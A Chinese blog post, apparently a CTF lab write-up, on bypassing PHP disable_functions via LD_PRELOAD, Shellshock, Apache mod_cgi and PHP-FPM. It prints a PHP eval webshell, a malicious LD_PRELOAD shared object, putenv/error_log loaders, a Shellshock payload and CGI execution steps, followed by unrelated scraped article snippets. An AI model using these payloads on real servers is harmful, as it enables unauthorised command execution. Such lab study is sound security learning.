bypass disable_function 学习

LD_PRELOAD

我是在做了 buu的 REC ME 来做这个系列

所以 LD_PRELOAD 已经有了解了

我们来做这个题目

CTFHub Bypass disable_function —— LD_PRELOAD本环境来源于AntSword-Labs
<!DOCTYPE html>
<html>
<head><title>CTFHub Bypass disable_function —— LD_PRELOAD</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— LD_PRELOAD</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

通过 request 接受参数 直接传递 然后执行

我们首先看看 phpinfo()

这里我们看到了 过滤了 mail 和 system

题目原本就给了马 我们直接来连接

发现被限制了

我们通过传递 so 和 php 来劫持环境变量

但是这里mail函数被禁用

我们使用 error_log('',1,'','');

我们编写一下hack.so

#include<stdio.h>
#include<string.h>
#include<stdlib.h>void payload(){system("ls / -> /var/tmp/flag.txt");
}int geteuid(){if(getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}
gcc -shared -fPIC hack.c -o hack.so

然后还需要php 使用 putenv() 调用so文件

<?php
putenv("LD_PRELOAD=/var/tmp/hack.so");
mail("","","","");
error_log("",1,"","");
?>

然后我们上传到 /var/tmp文件夹中

然后通过include("/var/tmp/hack.php");来执行php文件

?ant=include('/var/tmp/hack.php');

然后我们执行 /readflag即可

自己编写确实事故很多 我们直接用现成的吧

shellshock

这里是php破壳 rce

在bash 4.x存在命令执行漏洞

我们首先看看原型

我们首先了解一下bash

bash 允许自定义函数 并且使用函数名调用函数例如function test(){
echo "this is test";
}test #调用这个函数#输出 this is test

我们看看bash存的内容是什么

KEY = test
VALUE = () { echo "this is test"; }

 那我们修改为恶意代码呢

export ShellShock='() { :; }; echo;/usr/bin/whoami'
bash
>root这里为什么呢 KEY = ShellShock
VALUE = '(){:;}; echo; /user/bin/whoami'

 这样 如果我们执行了bash  ShellShock就会作为环境变量直接执行

下面的value 就会被作为一整句代码 执行 这样就绕过了

所以这个题目我们可以写一个php设置环境变量

<?php
putenv("PHP_ABC=() { :; }; ls / > /var/www/html/flag.txt");
error_log("",1,"","");
?>这里KEY=PHP_ABC
VALUE= (){:;};ls / > /var/www/html/flag.txt

 这里缩进要注意 不知道为什么 没有缩进就无法实现

访问flag即可

重新修改命令即可 /readflag

或者直接使用 蚁剑的插件绕过即可

Apache Mod CGI

这里是通过 CGI 和 htaccess绕过 disable_function

第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

 我们通过 htaccess文件指定可以执行cgi文件 然后通过cgi文件执行命令

这里是格式

.htaccess

Options +ExecCGI    
AddHandler  cgi-script .后缀

 CGI

#!/bin/sh
echo&whoami

 我们随便取一个

然后通过 chmod("名字",0777);

加权限

但是我本地无法链接 所以使用 插件

PHP-FPM

攻击PHP-FPM 实现Bypass Disable Functions - 知乎

首先了解什么是PHP-FPM

首先以前是如何访问服务呢 是下面这个

www.baidu.com||
webserver(apache)||
var(var/www/html)||
返回响应

但是出现了 越来越多语言 例如php java

不可能都让 webserver识别

那我们怎么实现呢  例如php webserver 就将 请求发给 php解释器

让他来处理数据

但是 webserver不是简简单单的进行转发 而是对请求包进行封装 然后发送php解释器这个协议就是 CGI 对其封装的程序就是 CGI程序(后来协议和程序都升级了 变成了 FAST-CGI)

现在请求包已经封装完成了 应该发给谁呢

于是就发给 PHP-FPM 通过解包转为数据包按照 FAST-CGI 将 TCP流 解析为 数据

例如下面这样

  www.baidu.com||nginx||
nginx加载 FAST-CGI模块||
FAST-CGI对数据进行封装为TCP流,并且发送PHP-FPM||
PHP-FPM将数据解析 调用php文件||
PHP-FPM将解析完的文件传递回nginx||
nginx将响应返回给浏览器

 所以 PHP-FPM 就是 FAST-CGI的解析器

PHP-FPM默认在9000端口打开那我们如果自己构造 FAST-CGI协议 发送给 PHP-FPM 那我们是不是就可以直接获取信息

 了解完我们来做题

首先看看是否开启PHP-FPM程序

有小马了

发现开启了 默认是 9000

很简单我们直接去蚁剑插件绕过

指定

上传了

然后去访问这个文件

我们现在主要研究一下 蚁剑上传的是什么文件

我们从运行开始看

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 63673;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";if (!empty($_SERVER['QUERY_STRING'])){$url .= "?".$_SERVER['QUERY_STRING'];
};
这里主要是向 63673端口发送了payload其实就睡 在 63673端口 又开启一台 webserver 监听了 63673端口 并且不是用php.ini这样就不会执行 disable_function

那么这里是通过什么方法来开启webserver呢

//首先随机生成一个php server 端口
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000然后就会验证 fpm端口是否可行然后就会构造请求包 攻击 fpm触发payload  执行开启新webserver

这里就是通过 fpm执行 ext   开启新的webserver 然后通过转发shell到 新开的webserver上

为什么ext 可以被执行 并且不会受到disable_function限制这里是通过 直接预留 dll/so 文件中的位置 要执行什么命令 就写入什么命令 然后通过dll/so执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/146061.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

K-Means(上):数据分析 | 数据挖掘 | 十大算法之一

⭐️⭐️⭐️⭐️⭐️欢迎来到我的博客⭐️⭐️⭐️⭐️⭐️ &#x1f434;作者&#xff1a;秋无之地 &#x1f434;简介&#xff1a;CSDN爬虫、后端、大数据领域创作者。目前从事python爬虫、后端和大数据等相关工作&#xff0c;主要擅长领域有&#xff1a;爬虫、后端、大数据…

liunx的攻击

1.场景和分析 2.病毒分析 3.解决步骤

CTF-python爬虫学习笔记

学习链接 【Python爬虫】爆肝两个月&#xff01;拜托三连了&#xff01;这绝对是全B站最用心&#xff08;没有之一&#xff09;的Python爬虫公开课程&#xff0c;从入门到&#xff08;不&#xff09;入狱 &#xff01; 。知识 1.1 出现错误 复制红框中的内容去查找 1.2 打印…

面试题:线程池灵魂8连问,你挡的住吗?

文章目录 1. 面试官&#xff1a;日常工作中有用到线程池吗&#xff1f;什么是线程池&#xff1f;为什么要使用线程池&#xff1f;2. 面试官&#xff1a;ThreadPoolExecutor 都有哪些核心参数&#xff1f;3. 面试官&#xff1a;什么是阻塞队列&#xff1f;说说常用的阻塞队列有哪…

Wi-Fi直连分享:Android设备间的高速连接

Wi-Fi直连分享&#xff1a;Android设备间的高速连接 引言 随着无线局域网&#xff08;Wi-Fi&#xff09;的普及和发展&#xff0c;使用Wi-Fi直连技术&#xff08;P2P&#xff09;在没有中间接入点的情况下实现设备间直接互联成为可能。通过Wi-Fi直连&#xff0c;具备相应硬件…

云原生Kubernetes:K8S配置资源管理

目录 一、理论 1.Secret 2.Secret创建 3.Secret使用 4.Configmap 5.Configmap创建 6.Configmap使用 二、实验 1.Secret创建 2.Secret使用 3.Configmap创建 4.Configmap使用 三、问题 1.变量引用生成资源报错 2.查看pod日志失败 3.创建configmap报错 4.YAML创建…

2022年中国征信行业覆盖人群、参与者数量及征信业务查询量统计[图]

征信是指依法收集、整理、保存、加工自然人、法人及其他组织的信用信息&#xff0c;并对外提供信用报告、信用评估、信用信息咨询等服务&#xff0c;帮助客户判断、控制信用风险&#xff0c;进行信用管理的活动。 征信业主要范畴 资料来源&#xff1a;共研产业咨询&#xff08…

百元开放式耳机推荐哪款、性价比最好的开放式耳机推荐

随着蓝牙耳机产业的高速发展&#xff0c;目前最热门的蓝牙耳机莫过于开放式的&#xff0c;跟传统的蓝牙耳机相比&#xff0c;开放式的耳机拥有久戴不累、安全舒适等优势&#xff0c;所谓的“开放式耳机”&#xff0c;就是指不用塞入耳朵内&#xff0c;也能听音乐的耳机&#xf…

基于.Net Core实现自定义皮肤WidForm窗口

前言 今天一起来实现基于.Net Core、Windows Form实现自定义窗口皮肤&#xff0c;并实现窗口移动功能。 素材 准备素材&#xff1a;边框、标题栏、关闭按钮图标。 窗体设计 1、创建Window窗体项目 2、窗体设计 拖拉4个Panel控件&#xff0c;分别用于&#xff1a;标题栏、关…

单元测试框架-Pytest(简单学习)

单元测试框架-Pytest Pytest是基于Python语言的单元测试框架&#xff0c;也是一个命令行的工具&#xff0c;比 unittest 测试框架更灵活。具有以下特点&#xff1a; 入门简单&#xff0c;易上手&#xff0c;官方文档丰富而且使用广泛&#xff0c;有大量的参数例子。 unittest…

如何利用niceGUI构建一个流式单轮对话界面

官方文档 参考文档 import asyncio import time import requests from fastapi import FastAPI from nicegui import app, uiclass ChatPage:temperature: ui.slider Nonetop_p: ui.slider Noneapi_key: ui.input Nonemodel_name: ui.input Noneprompt: ui.textarea None…

PHP 数码公司运营管理系统mysql数据库web结构apache计算机软件工程网页wamp

一、源码特点 PHP 数码公司运营管理系统系统是一套完善的web设计系统&#xff0c;对理解php编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。 php 数码公司运营管理系统 代码 https://download.csdn.net/download/qq_41…

Neural Networks for Fingerprint Recognition

Neural Computation ( IF 3.278 ) 摘要&#xff1a; 在采集指纹图像数据库后&#xff0c;设计了一种用于指纹识别的神经网络算法。当给出一对指纹图像时&#xff0c;算法输出两个图像来自同一手指的概率估计值。在一个实验中&#xff0c;神经网络使用几百对图像进行训练&…

Flutter笔记:AnimationMean、AnimationMax 和 AnimationMin 三个类的用法

Flutter笔记 AnimationMean、AnimationMax 和 AnimationMin三个类的用法 作者&#xff1a;李俊才 &#xff08;jcLee95&#xff09;&#xff1a;https://blog.csdn.net/qq_28550263 邮箱 &#xff1a;291148484163.com 本文地址&#xff1a;https://blog.csdn.net/qq_28550263/…

阿里云网络、数据中心和服务器技术创新优势说明

阿里云服务器技术创新、网络技术创新、数据中心技术创新和智能运维&#xff1a;云服务器方升架构、自研硬件、自研存储硬件AliFlash和异构计算加速平台&#xff0c;以及全自研网络系统技术创新和数据中心巴拿马电源、液冷技术等技术创新说明&#xff0c;阿里云百科aliyunbaike.…

树莓派4B串口通信配置方式

目录 1树莓派4B的安装&#xff1a; 1.1安装Serial与使用 1.1.1安装serial 1.1.2打开串口 1.2设置硬件串口为GPIO串口&#xff08;修改串口映射关系&#xff09; 1.2.1修改配置文件 2.1minicom串口 2.1.1安装minicom 这篇博客源于&#xff1a;工创赛。需要让树莓派与STM…

设计模式探索:从理论到实践的编码示例 (软件设计师笔记)

&#x1f600;前言 设计模式&#xff0c;作为软件工程领域的核心概念之一&#xff0c;向我们展示了开发过程中面对的典型问题的经典解决方案。这些模式不仅帮助开发者创建更加结构化、模块化和可维护的代码&#xff0c;而且也促进了代码的复用性。通过这篇文章&#xff0c;我们…

AdaBoost算法解密:从基础到应用的全面解析

目录 一、简介什么是AdaBoostAdaBoost的历史和重要性定义 二、基础概念集成学习&#xff08;Ensemble Learning&#xff09;定义示例 弱学习器和强学习器定义示例 三、AdaBoost算法原理样本权重&#xff08;Sample Weights&#xff09;定义示例 学习器权重&#xff08;Learner …

C/C++与汇编混合编程

1. C/C调用汇编 C/C想调用汇编代码必须要注意名称修饰的问题 名称修饰(name decoration): 一种标准的C/C编译技术, 通过添加字符来修改函数名, 添加的字符指明了每个函数参数的确切类型。主要是为了支持函数重载, 但对于汇编来说其问题在于, C/C编译器让链接器去找被修饰过的名…

CSS box-shadow阴影

1、语法 box-shadow: h-shadow v-shadow blur spread color inset; 值描述h-shadow必需的。水平阴影的位置。允许负值v-shadow必需的。垂直阴影的位置。允许负值blur可选。模糊距离spread可选。阴影的大小color可选。阴影的颜色。在CSS颜色值寻找颜色值的完整列表inset可选。…